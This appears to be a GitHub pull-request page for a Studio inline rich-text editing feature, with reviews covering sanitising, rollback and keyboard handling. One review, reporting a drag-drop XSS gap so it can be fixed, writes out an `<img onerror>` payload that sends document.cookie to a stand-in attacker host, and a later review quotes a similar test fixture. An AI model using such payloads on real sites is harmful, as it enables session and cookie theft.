feat(studio): edit and style text in the preview - #3143
Conversation
23fa478 to
41dcfb1
Compare
27e3d85 to
18ca774
Compare
41dcfb1 to
74b7814
Compare
18ca774 to
c38bfbc
Compare
74b7814 to
5a73168
Compare
c38bfbc to
2be27a5
Compare
5a73168 to
4e34dfa
Compare
2be27a5 to
1795253
Compare
4e34dfa to
ea0dd12
Compare
1795253 to
544845c
Compare
ea0dd12 to
f9e7ea0
Compare
544845c to
631f828
Compare
Double-press a text element in the canvas and the caret opens where you pressed, in the element itself rather than in a panel. Select characters and a small toolbar offers colour, bold, italic and underline, applied to exactly those characters. The toolbar lives in Studio's document rather than the composition's. Putting it in the preview would inject Studio's chrome into the user's composition, where a render would capture it and the composition's own styling would inherit into it. In a flex or grid container the rebuilt runs go inside one wrapper, so a coloured word cannot reflow the element it sits in. Also fixes the keyboard: the shortcut guards matched contenteditable=true only, so playback shortcuts ate letters typed into the composition.
The rich-text operation pushed this file past the 600-line gate. Same change the branch made later, landed with the commit that caused it.
631f828 to
08d0cd7
Compare
vanceingalls
left a comment
There was a problem hiding this comment.
Read the whole diff adversarially against the toolbar-in-Studio-DOM invariant, the rollback path, and the shortcut gate. The three big-ticket claims check out; a handful of polish notes below, none blocking.
What holds up
- Toolbar lives in Studio's document.
InlineTextToolbaris rendered inline asinlineText.toolbarfromDomEditOverlay(packages/studio/src/components/editor/DomEditOverlay.tsx:111), which is Studio chrome. Positioning isposition: fixedin viewport coords, withiframe.getBoundingClientRect()mapping preview → Studio (InlineTextToolbar.tsx:696-701). Nothing about the toolbar can be captured by the render pipeline. - Overlay pointer-events during edit. Overlay flips to
pointer-events-nonewhile editing (DomEditOverlay.tsx:57), the selection box flips with it (DomEditSelectionChrome.tsx:256), and the toolbar keeps its ownpointer-events-auto(InlineTextToolbar.tsx:573). TheDomEditSelectionChrometest suite explicitly encodes the "parent none, child auto" trap. - Rollback is a byte-string round-trip.
original: element.innerHTMLsnapshotted atstart()(useInlineTextEdit.ts:2131),cancel()andrevert()write it back verbatim (useInlineTextEdit.ts:2176,useDomEditTextCommits.ts:1524). The regression test assertselement.innerHTMLbyte-equal to the pre-edit HTML (useDomEditCommits.test.tsx:1319). Concurrent second sessions blocked byopenRef(useInlineTextEdit.ts:2127). Concurrent second text-commits gated bybumpDomEditCommitVersion/isLatestTextCommit(useDomEditTextCommits.ts:1497,1522). - Sanitize on the way out.
commit()runssanitizeRichTextChildren(open.element)before readinginnerHTML(useInlineTextEdit.ts:2165), so what leaves the element is what the sanitizer allows. The paste path is plaintext-only (useInlineTextEdit.ts:2207-2211), which closes the footholdcontenteditable="true"used to leave open forplaintext-only. - Shortcut gate is one function, everywhere.
isTypingTargetusesisContentEditable(property, not attribute) and coversplaintext-only, ancestor-editable, androle=textbox(typingTarget.ts:2425-2439). BothshouldIgnorePlaybackShortcutTargetandshouldIgnoreHistoryShortcutroute through it (playbackShortcuts.ts:2322,studioHelpers.ts:2344). Test attypingTarget.test.ts:2374covers the plaintext-only case explicitly. - Focus theft.
swallowpreventDefaultspointerdown/mousedownat the toolbar wrapper (InlineTextToolbar.tsx:585-586) — the standard idiom, correctly applied.
Non-blocker follow-ups
1. Toolbar a11y. InlineTextToolbar.tsx:571-587 — the outer div has no role="toolbar" or aria-label. Screen readers see a generic div. Buttons themselves are well-labeled (aria-label, aria-pressed), so this is a small add.
2. Placement not viewport-clamped. InlineTextToolbar.tsx:698-701 — top: box.top + rect.top * scale - GAP_PX goes negative when the selected text sits at the composition's top edge with box.top small (undocked Studio). Clamp to max(0, …), or flip below the selection when there's no room above.
3. outline-offset not captured for restore. useInlineTextEdit.ts:2131-2133 snapshots element.style.outline but not outlineOffset; teardown removes the property (:2119). An element whose stylesheet-authored outline-offset was expressed as an inline style would come out of the session with it gone. Low-impact but easy to fix while the session-snapshot shape is fresh.
4. Enter opens edit with any modifier except Shift. useInlineTextEditing.tsx:1149 — if (event.key !== "Enter" || event.shiftKey) return false;. Cmd+Enter, Ctrl+Enter, Alt+Enter all open the editor. Cheap to also gate on ctrlKey || metaKey || altKey before another shortcut wants one of those combos.
5. z-[200] arbitrary value. InlineTextToolbar.tsx:573 — Studio has z-index tokens elsewhere; arbitrary value is a small drift.
6. Rich-text commit + style commit interleave. useDomEditTextCommits.ts:1497 bumps the text version ref only. A style commit landing between the rich-text POST and its response won't defeat isLatestTextCommit, and a rollback will wipe the interleaved style change. Pre-existing pattern, but the rich-text path inherits it — worth naming in a comment so the next person editing this doesn't assume it's covered.
7. isTypingTarget swallows <input readonly> and <input type="checkbox">. typingTarget.ts:2434 — the bare input selector matches both. For checkbox / readonly, the shortcuts probably should stay suppressed (Space toggles the checkbox, arrows move the readonly caret), so this is arguably correct — but the doc-comment on the function only covers "typing" cases. Worth a sentence acknowledging the wider gate.
8. Cross-doc blur assumption is browser-behavior-load-bearing and only unit-tested via happy-dom. The click flow (mousedown on Studio toolbar → contenteditable inside iframe stays focused → click applies style) depends on preventDefault on the parent doc's mousedown suppressing cross-frame focus transfer. Correct idiom, matches how ProseMirror / Slate / Notion do it, but happy-dom doesn't model it — so nothing in the test suite would catch a regression. A single Playwright smoke that opens an edit, selects text, clicks Bold, and asserts the run got wrapped would be a cheap seat belt for a load-bearing invariant.
Verdict
APPROVE. Toolbar cannot leak into the render pipeline, rollback is byte-string round-trip with per-session and per-commit gating, sanitize runs on commit before persistence, paste is plaintext-only, and the shortcut typing-target gate is one shared predicate routed through by every consumer. Findings above are quality tail — the a11y role="toolbar" add and the viewport clamp are the two I'd most like to see landed as follow-ups, and the Playwright smoke on the cross-doc focus invariant would earn its keep the first time browser behavior drifts. Ship it.
— Via
james-russo-rames-d-jusso
left a comment
There was a problem hiding this comment.
Reviewed at a1b1d11b.
Feature ships as promised — double-press opens a caret, toolbar styles the selection, previousHtml correctly threads the pre-edit snapshot across the persistence boundary so a failed save restores what was there. The 08d0cd7c fix (fix(studio): restore rich text after failed save) is a real bug catch: prior versions captured previousInnerHtml from the DOM at commit time, which was already mutated — the revert had nothing useful to revert to.
Verified via 4-agent adversarial fan-out — most of my initial suspicions (color-picker blur→commit race, toolbar-button focus theft) were refuted by the same DOM invariant: bubble-phase preventDefault on mousedown cancels the focus-shift default before it runs. The swallow wrapper at InlineTextToolbar.tsx:82-83 is doing exactly that load-bearing job.
Closed at a1b1d11b (Via's R1 pass overlaps with a few of my drafts) — outline-offset symmetric restore (useInlineTextEdit.ts:41,96,113), role="toolbar" + aria-label="Text formatting", Enter gated against Ctrl/Meta/Alt modifiers, top-edge flip when the above-selection position would clip the viewport, typing-gate contract note.
Concerns still open
-
Drag-drop XSS window.
contenteditable="true"(notplaintext-only) enables browser drag-drop of HTML markup into the element. Paste is intercepted with plain-text extraction; drop is not. Between drop and commit,<img src=x onerror="…">payloads execute in the preview iframe's same-origin context (greppedNLEPreview.tsx— nosandbox=). Sanitiser runs only on commit. This mirrors exactly the paste concern the PR body already addresses ("what arrives is the words") — same defensive intent, sibling gap. Inline anchor with a proposed drop handler. -
Missing RAF cleanup on unmount. The
requestAnimationFrameatuseInlineTextEdit.ts:130-134is cancelled only byteardown(), never by an effect cleanup. IfDomEditOverlayunmounts with a session open (composition reload, navigation, project switch), the RAF fires post-unmount, callingfocus()andplaceCareton an element with no session and no listeners. Inline anchor. -
apply()callsgetRangeAt(0)without arangeCountguard (InlineTextToolbar.tsx:59). Optional chaining onSelectiondoesn't guard againstIndexSizeError—getRangeAt(0)on a zero-range Selection throws.placeOverSelectionat:192correctly guards;applydoesn't. Narrow race betweenselectionchange(React batches the state update) and the click. Inline anchor. -
previousHtmlstaleness under external composition reload. Narrow race: session opens withelement.innerHTML="A"→open.original="A". Composition reloads mid-edit, replacing the SAME element's innerHTML with "C". User types "D". Commit fires with{html: "D", previousHtml: "A"}. If persist fails,revertwrites "A" over what's now "C" — clobbering the reloaded content.usePreviewReloadSuppression(HF#2909) mitigates this in practice for self-writes; reloads from other sources could still hit the window. Inline anchor.
Non-blocking, cross-file
-
PR body's typing-gate claim is scoped, but a sibling still misses
contenteditableentirely.StoryboardFrameFocus.tsx:144matches onlyHTMLTextAreaElement/HTMLInputElement— not.isContentEditable, not the newisTypingTarget. If a user is inline-editing text inside a storyboard-scoped context and hits a storyboard nav key, the key gets swallowed. Not a regression from this PR (pre-existing), but the PR body's phrasing invites the reader to assume broader consolidation. Worth a follow-up. -
Two typing-target helpers now coexist. New
isTypingTarget(typingTarget.ts) and pre-existingisEditableTarget(timelineDiscovery.ts). Both catch.isContentEditableon the direct target, soplaintext-onlyis handled in the common case; but the shape divergence + duplicate call sites (useAppHotkeys.ts:191,198,457,useDomEditNudge.ts:133) is a consolidation candidate for follow-up. Not blocking. -
Cmd+B/Cmd+I/Cmd+Ushortcuts. Universal expectation for any inline text editor. Toolbar is mouse-only right now. Nice-to-have follow-up, not a merge-blocker.
Nits
-
{ type: "rich-text", property: "", value: html }literal atuseDomEditTextCommits.ts:342is byte-identical tobuildDomEditRichTextPatchOperationatdomEditingLayers.ts:527. The helper is already imported at :14 (used at :117 for the serialised-text-fields path). Two rich-text emit points can drift if the interface gains a field. One-line fix. Inline anchor. -
toHexColordegrades short hex + named colors to white.#f00fails the 6-hex regex;red/transparentyield no numeric channels; both fall toDEFAULT_COLOR. The docstring accepts graceful degradation, but adding a short-hex expand branch + a couple named-color lookups is cheap and closes the "why does the swatch open on white when my element is red" gap. -
Cross-element paired double-press (
useInlineTextEditing.tsx:102-105,domEditInlineText.ts:86-93). Two independent single-clicks on different elements within 6px + 450ms open an edit on the second element. Very low practical exposure (6px slop is tight), but no target-identity check inisDoublePress. Storing the hit target onPressMarkand requiring it to match would close it. -
child as HTMLElementatdomEditInlineText.ts:61without aninstanceof HTMLElementnarrow (CONTRIBUTING.md §type-safety). Reached only afterisRichTextFormattingTaggates on formatting tags, so functionally safe, but a pattern flag. -
Uniform-scale assumption at
InlineTextToolbar.tsx:207anduseInlineTextEditing.tsx:82(scale = box.width / view.innerWidth, applied to both axes). Currently correct —NLEPreview.tsxpreserves composition aspect ratio in the stage — but if the stage ever letterboxes, the toolbar drifts on Y. Aponytail:comment naming the invariant, or switching to the sharedrootScaleX/rootScaleYfromdomEditOverlayGeometry.ts:243-244, would harden it. -
handleDomRichTextCommitgate uses the element-only variant (useDomEditTextCommits.ts:340) — skipsisCompositionHost/isInsideLockedComposition. Not reachable via the UI today (start requires prior open which does check the fuller gate), but a discipline gap if someone raises a rich-text commit from another path.
Positive verifications
- Focus/blur mechanics on the toolbar are correct —
swallowatInlineTextToolbar.tsx:82-83blocks focus theft in the bubble phase, the color picker still opens on click,<input type=color>doesn't blur the contenteditable because native pickers are OS-level modals (not document-focus-shifts). type: "rich-text"operation has a server handler atpackages/studio-server/src/helpers/sourceMutation.ts:258, routed through the legacy patch endpoint (SDK cutover explicitly excludes it).- The
08d0cd7cfix threads the true pre-edit snapshot throughInlineTextEditCommit, not the mutated DOM. TestuseDomEditCommits.test.tsxexercises the failed-save revert path. - All 5 substantive PR-body claims verified end-to-end (double-press caret, toolbar styling, toolbar-in-Studio-doc, flex/grid wrapper, persistence-boundary restore). Claim #6 (typing-gate) is scoped correctly for playback+history; readable as broader than delivered.
- R2 delta at
a1b1d11bis tight — 6 files, 60 insertions, addressing exactly the Via-raised items plus my draftedoutline-offsetfinding. Test coverage extended for each fix (role=toolbarassertion at.test.tsx:70, below-selection placement at:205-224,outline-offsetrestore at.test.tsx:267,281).
What I didn't verify
- Did not run the 3,770 Studio tests locally; trusting Miguel's green + the Codex in-app E2E.
- Did not trace
persistDomEditOperationsend-to-end for the stale-selection scenario — the race window depends on how the persist path resolves a selection identifier when the target element's identity/state has changed under it. - Did not construct an end-to-end PoC for the drag-drop XSS — the mechanism is textbook (
<img onerror>fires on parse; preview iframe is same-origin), but no live browser trace.
Verdict
LGTM from my side pending the drag-drop drop/dragover handler (mirror of the paste path — self-contained, one function). Everything else is either a narrow race worth naming or a nit — not merge-blocking on their own, but the pack of them is worth a follow-up sweep.
|
|
||
| element.addEventListener("keydown", onKeyDown); | ||
| element.addEventListener("blur", onBlur); | ||
| element.addEventListener("paste", onPaste); |
There was a problem hiding this comment.
🔴 Drag-drop into a contenteditable="true" element bypasses the paste sanitiser, opening a same-origin script-execution window in the preview iframe.
The element takes contenteditable="true" at :124, and the effect at :193-201 wires listeners for keydown, blur, and paste — but not drop or dragover. The paste path (:187-191) already documents the intent: "Dropping plaintext-only means the browser would otherwise paste a whole web page's markup straight in. What arrives is the words." — but drag-drop is the sibling attack vector.
Concrete failure:
- User has an inline text edit open (
contenteditable="true"). - User drags an image from another tab, or HTML from another page, into the element — could be arbitrary markup, e.g.
<img src=x onerror="fetch('//attacker/', {body: document.cookie})">. - Browser's default drop behavior inserts the payload as innerHTML into the element.
<img src=x>fails to load →onerrorfires immediately on parse.- Preview iframe is same-origin (no
sandbox=onNLEPreview.tsx) → the handler runs with access to the composition's document,parentwindow (Studio), cookies,localStorage. sanitizeRichTextChildrenonly runs at commit time (:145). By then the damage is done.
(Note: <script> inserted via .innerHTML/drop is inert per spec; the vector is <img onerror>, <iframe srcdoc>, <svg onload>, <video onerror>, etc. — the sanitiser strips these on commit, but not before drop.)
Suggested fix — mirror the paste handler:
const onDrop = (event: DragEvent) => {
event.preventDefault();
const text = event.dataTransfer?.getData("text/plain") ?? "";
if (text) element.ownerDocument.execCommand("insertText", false, text);
};
const onDragOver = (event: DragEvent) => event.preventDefault();
element.addEventListener("drop", onDrop);
element.addEventListener("dragover", onDragOver);
// ... add to the cleanup at :196-200Also worth a regression pinning: session open + dispatchEvent(new DragEvent("drop", {dataTransfer: DataTransfer with HTML payload})) → assert element.innerHTML doesn't contain the HTML tags.
— Rames D Jusso
| element.focus({ preventScroll: true }); | ||
| placeCaret(element, caretAt); | ||
| }); | ||
| framesRef.current = raf ?? null; |
There was a problem hiding this comment.
🟠 RAF scheduled here has no cleanup on component unmount — fires post-unmount if the hook host tears down mid-session.
const raf = view?.requestAnimationFrame(() => {
element.focus({ preventScroll: true });
placeCaret(element, caretAt);
});
framesRef.current = raf ?? null;The RAF is cancelled only by teardown() at :84-88, which is called from commit/cancel. There's no useEffect(() => () => cancelAnimationFrame(framesRef.current), []) cleanup on the hook itself.
Concrete failure: DomEditOverlay unmounts with a session open — composition reload, route change, project switch, canvas re-mount. React 18's cleanup runs on the useEffect at :162-201, which correctly removes listeners. But framesRef.current is untouched: the RAF fires ~16ms later, calling element.focus({preventScroll:true}) and placeCaret(element, caretAt) on an element that:
- Still has
contenteditable="true"set (teardown never ran) - Has no
keydown/blur/pastelisteners (effect cleanup already ran) - Has no way to commit or cancel except through user action (the hook is gone)
Orphan editable + no way to close = the caret can be moved and typing occurs, but nothing is persisted and the outline never goes back.
Fix: add an unmount cleanup that cancels the RAF and (optionally) restores the outline. Something like:
useEffect(() => () => {
const open = openRef.current;
if (framesRef.current !== null && open) {
open.element.ownerDocument.defaultView?.cancelAnimationFrame(framesRef.current);
}
// Optionally: if openRef.current, call teardown-shape cleanup on the element.
}, []);Or fold into the existing effect at :162-201 by including framesRef.current cleanup in the same cleanup block.
— Rames D Jusso
| const apply = useCallback( | ||
| (delta: Record<string, string | null>) => { | ||
| const doc = session?.element.ownerDocument; | ||
| const range = doc?.defaultView?.getSelection()?.getRangeAt(0); |
There was a problem hiding this comment.
🟠 getRangeAt(0) throws IndexSizeError on a zero-range Selection — the optional chain won't save you.
const apply = useCallback(
(delta: Record<string, string | null>) => {
const doc = session?.element.ownerDocument;
const range = doc?.defaultView?.getSelection()?.getRangeAt(0);
if (!range) return;
applyInlineStyle(range, delta);
refresh();
},
[session, refresh],
);Optional chaining protects the pre-getRangeAt steps (doc, defaultView, getSelection()), but getSelection().getRangeAt(0) throws when rangeCount === 0 — not returns undefined. The if (!range) return guard is unreachable in that case; the throw propagates out of the click handler.
placeOverSelection at :192 correctly guards with selection.rangeCount === 0 || selection.isCollapsed, but that guard doesn't protect apply — apply is on the click, placeOverSelection is on selectionchange.
Concrete failure: narrow but reachable. The toolbar is mounted based on React state placement, which was set by the last selectionchange event. Between that render and the user's click on a toolbar button:
- Something dispatches an event outside the toolbar that collapses the selection to zero ranges.
- React hasn't re-rendered yet (
selectionchangetriggers a state update, batching). - User clicks Bold.
applyruns.getRangeAt(0)throws.
Also reachable if some third-party (extension, dev tool) programmatically collapses the selection.
Fix: replicate the guard from placeOverSelection:
const selection = doc?.defaultView?.getSelection();
if (!selection || selection.rangeCount === 0) return;
const range = selection.getRangeAt(0);
applyInlineStyle(range, delta);
refresh();— Rames D Jusso
| }, | ||
| shouldRevert: () => isLatestTextCommit(), | ||
| revert: () => { | ||
| if (editedElement) editedElement.innerHTML = previousHtml; |
There was a problem hiding this comment.
🟡 revert clobbers post-reload content if the composition reloads and swaps innerHTML mid-edit (element identity preserved).
revert: () => {
if (editedElement) editedElement.innerHTML = previousHtml;
},previousHtml is snapshotted at session-start in useInlineTextEdit.ts:110 (original: element.innerHTML). It's the source of truth for a rollback ONLY if the element's innerHTML at revert time is still equal-or-descended-from the pre-edit state.
Concrete race:
- Session opens with
element.innerHTML="A"→open.original="A". - External composition reload path swaps the element's innerHTML to "C" while the session is still live (same element node; only the innerHTML was replaced). This bypasses
open.element.isConnected— the element is still connected, just with different content. - User keeps typing on the reloaded element — its innerHTML becomes "D".
- User presses Enter →
commit()fires with{html: "D", previousHtml: "A"}. handleDomRichTextCommitruns. Persist fails (network / server rejects / editingHost mismatch).revert()writes "A" over what's now "C" — the user sees the composition rolled back to a state that predates their edit AND the external reload.
Probably mitigated in practice by usePreviewReloadSuppression (HF#2909's write-token receipt) which suppresses reloads while a self-write is in flight — but a reload from a source other than the current commit path could still hit this window.
Cheap mitigation: capture a second snapshot at commit-time (editedElement.innerHTML in capture), and on revert compare vs previousHtml — if they diverged, prefer the closer-to-current snapshot or bail on the revert with a toast. Or: name this explicitly as an accepted concurrency assumption and add a ponytail: comment pointing at the preview-reload-suppression contract.
— Rames D Jusso
| // chose was dropped on the way out with nothing said about it. | ||
| if (!canEditElementTextInline(domEditSelection.element)) return; | ||
| const isLatestTextCommit = bumpDomEditCommitVersion(domTextCommitVersionRef); | ||
| const operations: PatchOperation[] = [{ type: "rich-text", property: "", value: html }]; |
There was a problem hiding this comment.
🟢 nit: Literal duplicates the existing buildDomEditRichTextPatchOperation helper — DRY hazard.
const operations: PatchOperation[] = [{ type: "rich-text", property: "", value: html }];vs. domEditingLayers.ts:527:
export function buildDomEditRichTextPatchOperation(value: string): PatchOperation {
return { type: "rich-text", property: "", value };
}The helper is already imported at :14 (used at :117 for the serialised-text-fields path). Byte-identical shape. Two rich-text emit points can drift if the interface gains a field. One-line fix:
const operations: PatchOperation[] = [buildDomEditRichTextPatchOperation(html)];— Rames D Jusso
vanceingalls
left a comment
There was a problem hiding this comment.
Reviewed delta 08d0cd7c5..a1b1d11be.
Nit 1 (toolbar role/aria-label) — ADDRESSED
packages/studio/src/components/editor/InlineTextToolbar.tsx:73-74 — role="toolbar" + aria-label="Text formatting" on the container. Test at .test.tsx:70-71 asserts both.
Nit 2 (viewport clamp / flip) — ADDRESSED
InlineTextToolbar.tsx:22, 203-209 — new TOOLBAR_HEIGHT_PX = 34; placeBelow = above < TOOLBAR_HEIGHT_PX flips top-of-composition selections below the range (top = rect.bottom * scale + GAP_PX, transform: translate(-50%, 0)). Not a raw Math.max clamp — a flip, which is the better UX shape. New unit test at .test.tsx:204-223.
Nit 3 (outline-offset snapshot) — ADDRESSED
packages/studio/src/hooks/useInlineTextEdit.ts:44, 97, 111-112 — session now carries outlineOffset; captured at start() (:111), restored via open.element.style.outlineOffset = open.outlineOffset at teardown (:97). Test at useInlineTextEdit.test.tsx:267, 281 asserts "6px" round-trip.
Nit 4 (Enter modifier gate) — ADDRESSED
packages/studio/src/components/editor/useInlineTextEditing.tsx:32-36, 99-100 — handleKeyDown sig widened; guard is now event.key !== "Enter" || event.shiftKey || event.ctrlKey || event.metaKey || event.altKey. Cmd/Ctrl/Alt+Enter no longer opens the editor. Nit: no unit test at this call site — the guard change is intended but uncovered.
Nit 5 (z-[200]) — REBUTTAL HOLDS
Grep across packages/studio/src: z-[200] also lives in components/ui/Tooltip.tsx, components/sidebar/AssetContextMenu.tsx, components/renders/RenderQueue.tsx. Three peer overlays — Studio's overlay-layer convention, not a one-off. Accepted.
Nit 6 (rich-text rollback vs Inspector style interleave) — REBUTTAL HOLDS
Traced both paths in packages/studio/src/hooks/useDomEditTextCommits.ts:
handleDomRichTextCommit(:328-368): apply writeseditedElement.innerHTML = html;revertwritesinnerHTML = previousHtml— child-tree only.- Inspector style commit (
:194-234): apply callseditedElement.style.setProperty(prop, val);revertcallsstyle.removeProperty(prop)or restorespreviousInlineValue. Host inline-style attribute only.
Different DOM surfaces (innerHTML vs .style). A rich-text revert cannot wipe an interleaved Inspector style change (host .style), and the Inspector revert reads its own previousInlineValue snapshot at apply time. Confirmed independent.
Nit 7 (typing-gate contract note) — ADDRESSED
packages/studio/src/utils/typingTarget.ts:14-15 — doc-comment now reads: "The wider input gate is deliberate too: checkboxes and readonly fields own Space and arrow keys even when they do not accept text." Intent captured.
Nit 8 (cross-doc blur Playwright) — PARTIALLY ADDRESSED
No new Playwright / E2E file in the delta. You confirmed via the rich-text-demo in-app run (live preview edit + source persistence + unchanged preview src across save). Happy-dom unit coverage unchanged. Acceptable as a follow-up given the manual E2E is real evidence for landing; the seat-belt Playwright test would still be worth adding.
R1 approvals hold
Toolbar still Studio-DOM-mounted (mount site unchanged); rollback still byte-string previousHtml round-trip (useDomEditTextCommits.ts:368); sanitizeRichTextChildren still runs at commit (useInlineTextEdit.ts:145); isTypingTarget gate semantically unchanged (comment-only edit); toolbar focus-theft stopPropagation retained.
CI at head
a1b1d11be: 27 SUCCESS / 12 SKIPPED / 1 NEUTRAL / 0 FAILURE / 6 IN_PROGRESS. Studio: load smoke, Studio: timeline viewport gate, Test: runtime contract, Producer unit + integration, SDK unit+contract+smoke all green. Build / Typecheck / Preview parity / CLI smoke / Analyze / Windows still IN_PROGRESS; nothing failed.
Cross-reviewer
Rames independently posted COMMENTED at 07:15:34Z on this same head — worth reading in case he flagged something my delta missed, but no CHANGES_REQUESTED state.
Verdict
APPROVE. Delta ships the five substantive fixes with exact-shape restoration on outline-offset and a flip-below strategy for viewport clamping that's better UX than a raw Math.max clamp. Both rebuttals grounded on evidence (three peer z-[200] overlays + disjoint DOM surfaces for the two commit paths). Nit #8 stands as a follow-up. No regressions. Ship on the remaining IN_PROGRESS checks landing green.
— Via
8956815 to
648b962
Compare
vanceingalls
left a comment
There was a problem hiding this comment.
Reviewed delta a1b1d11be..648b9621e — one commit fix(studio): harden inline text editing, amended once to restore timelineDiscovery.ts as a compat re-export.
Rames's 8 items — all CLOSED
1. Drag/drop plain-text-only rail. useInlineTextEdit.ts:199-206 adds onDragOver (preventDefault) + onDrop mirroring paste through insertPlainText (:189-191), consuming dataTransfer.getData("text/plain") only. Test at useInlineTextEdit.test.tsx:454-478 — it.each parameterises paste + drop with <img src=x onerror="steal()">; both assert execCommand("insertText", …, "plain words") + defaultPrevented. Pre-commit markup-execution window closed.
2. RAF cancel on unmount. useInlineTextEdit.ts:207-213 bare useEffect(() => () => teardown(), [teardown]); teardown (:87-104) is the single owner of cancelAnimationFrame(framesRef.current). RAF body at :130-137 also nils the ref + guards openRef.current?.element !== element so raced fires are inert. Test at .test.tsx:81-94 mocks RAF to return 42, unmounts mid-open, asserts cancelAnimationFrame(42) fired + contenteditable removed.
3. Zero-range guard on toolbar apply. InlineTextToolbar.tsx:58-61 splits Selection acquisition from Range access: if (!selection || selection.rangeCount === 0) return; const range = selection.getRangeAt(0);. Test at .test.tsx:169-180 clears all ranges before clicking Bold, asserts no-throw + innerHTML === "hello world".
4. Preview-node ownership on commits. useInlineTextEdit.ts:48-51 carries element: HTMLElement on InlineTextEditCommit; commit() passes open.element verbatim (not findElementForSelection). useDomEditTextCommits.ts:65-75 adds ownsCurrentPreviewElement(selection, element, doc) requiring element === selection.element && element.ownerDocument === doc && element.isConnected; commit path (:354-357) bails when ownership fails. revert() only rolls back when element.isConnected && element.innerHTML === appliedHtml (:381-385) — external mid-flight writers keep their value. Test at useDomEditCommits.test.tsx:874-901 replaceWith()s the session's element with a same-data-hf-id sibling, then commits; asserts replacement text preserved, fetch NOT called, no toast. Rollback-retarget race closed exactly as Rames drafted.
5. Shared builder + host/lock gates. useDomEditTextCommits.ts:355 replaces inline { type: "rich-text", …, value: html } with [buildDomEditRichTextPatchOperation(html)] — same helper the serialised-text-fields path uses at :117. Two emit sites can no longer drift. New canCommitInlineTextSelection at :62-65 gates isCompositionHost || isInsideLockedComposition before canEditElementTextInline.
6. Paired-press same-element. domEditInlineText.ts:74 extends PressMark with element: HTMLElement | null; isDoublePress at :91-92 short-circuits on next.element !== null && previous.element === next.element before time/slop checks. useInlineTextEditing.tsx:106-108 populates the mark via elementUnderPress(event) on every press. Test at .test.ts:76-85 verifies same-element pairs and different-element does not.
7. Cross-realm HTMLElement narrow assertion-free. domEditInlineText.ts:56-63 resolves HTMLElementClass = element.ownerDocument.defaultView?.HTMLElement and narrows with instanceof HTMLElementClass — iframe's own realm class is used, no as HTMLElement casts, and cross-realm nodes pass the check that the global HTMLElement would silently reject.
8. Shortcut consolidation + storyboard focus. useAppHotkeys.ts:191, 198, 457 + useDomEditNudge.ts:133 route through the canonical isTypingTarget. StoryboardFrameFocus.tsx:144 replaces el instanceof HTMLTextAreaElement || HTMLInputElement with isTypingTarget(document.activeElement) — contenteditable in a storyboard-focused frame now blocks Arrow/Escape swallow. typingTarget.ts also picks up role='searchbox' and role='combobox'. Test at StoryboardViewModeGuard.test.tsx:174-186 focuses a contenteditable="true" div, dispatches ArrowRight, asserts onNavigate not called.
Amendment (8956815 → 648b962) — file-deletion guard fix
At 89568153e, packages/studio/src/utils/timelineDiscovery.ts was fully deleted (part of item #8's consolidation) — that tripped Detect changes on scripts/check-no-main-deletions.mjs's "reject accidental file deletions" rule (non-required check, not merge-blocking, but bookkeeping).
Amendment restores the file as a 3-line compat re-export:
// Compatibility name for downstream imports. The typing decision itself has
// one owner; new Studio callers import `isTypingTarget` directly.
export { isTypingTarget as isEditableTarget } from "./typingTarget";
Identity regression at typingTarget.test.ts asserts expect(isEditableTarget).toBe(isTypingTarget) — same function reference, zero-logic re-export by construction. Zero callers of the legacy isEditableTarget name across the tree (grepped useAppHotkeys.ts + useDomEditNudge.ts — both import isTypingTarget directly from ../utils/typingTarget). Detect changes now clears at 648b9621e.
R2 items regression check — CLEAN
role="toolbar" + aria-label="Text formatting" intact; z-[200] intact; outline + outlineOffset round-trip intact; Enter modifier gate intact; flip-below intact. No regression.
CI at head 648b9621e
16 SUCCESS / 12 SKIPPED / 1 NEUTRAL / 0 FAILURE / 11 IN_PROGRESS. Detect changes cleared. Required-check set still in progress (Build / Typecheck / Test / Windows / regression) — normal cadence.
Verdict
APPROVE. Third pass at #3143 lands cleanly. All 8 of Rames's items closed with file:line evidence and a test each; no R2 regression; amendment addresses the file-deletion guard without introducing new behaviour. Rich-text stack 4/5 ready to merge on required checks landing green.
— Via
james-russo-rames-d-jusso
left a comment
There was a problem hiding this comment.
Reviewed at 648b9621.
Delta from a1b1d11b: 16 files, 234+/76-. Surgical — every R1 concern I raised is closed at the mechanism level, not by moving the shape around. Test coverage extended on each fix so a regression would fail loud.
R1 concerns — how they closed
- Drag-drop XSS (was 🔴).
onDragOver+onDropwired on the editable element, bothpreventDefault, drop extractstext/plainvia the sameexecCommand("insertText")rail as paste.useInlineTextEdit.test.tsx.eachnow covers paste AND drop with an<img src=x onerror>payload → assertsdefaultPreventedon both and only"plain words"inserted. Verifieddragover.preventDefault()is what enablesdropto fire (no drop event without it). Same-origin preview → same-defense as paste. - RAF cleanup on unmount (was 🟠). Two-layer close. (1) A new
useEffect(() => () => teardown(), [teardown])— unmount runs teardown, which cancelsframesRefand restorescontenteditable/outline/outlineOffset. (2) The RAF body itself now hasif (openRef.current?.element !== element) return;— a stale RAF that survived cancel still no-ops. Test assertscancelAnimationFrame(42)on unmount +contenteditablecleared. getRangeAt(0)rangeCount guard (was 🟠). Explicitif (!selection || selection.rangeCount === 0) return;before thegetRangeAt. Test asserts no-throw when the selection is cleared between the lastselectionchangeand the button click.previousHtmlrevert-clobber race (was 🟡). Threaded the exact preview node through the commit shape:InlineTextEditCommit.element— the node that owned the edit.handleDomRichTextCommitnow usesownsCurrentPreviewElement(selection, element, doc)(element still connected,element === selection.element,element.ownerDocument === doc) — if the preview reloaded and swapped the node, early-return; no persist, no revert. Revert further guardsif (element.isConnected && element.innerHTML === appliedHtml)— only rolls back what we submitted; an external actor that changed the live value keeps that value. Test asserts commit no-ops (no persist, no toast) when the element wasreplaceWith'd before commit.- Helper-reuse nit (was 🟢).
useDomEditTextCommits.ts:361nowbuildDomEditRichTextPatchOperation(html).
Nits I flagged in R1 body — how they closed
StoryboardFrameFocus.tsxtyping-gate. NowisTypingTarget(document.activeElement). NewStoryboardViewModeGuard.test.tsxcase assertsArrowRightdoesn't nav when acontenteditableis focused.isTypingTargetvsisEditableTargetconsolidation. Single canonicalisTypingTargetused byuseAppHotkeys,useDomEditNudge,StoryboardFrameFocus.timelineDiscovery.tsis now a 3-line re-export (CI's no-file-delete guard) with an identity regression testexpect(isEditableTarget).toBe(isTypingTarget)so the two names can never drift.- Cross-element paired double-press.
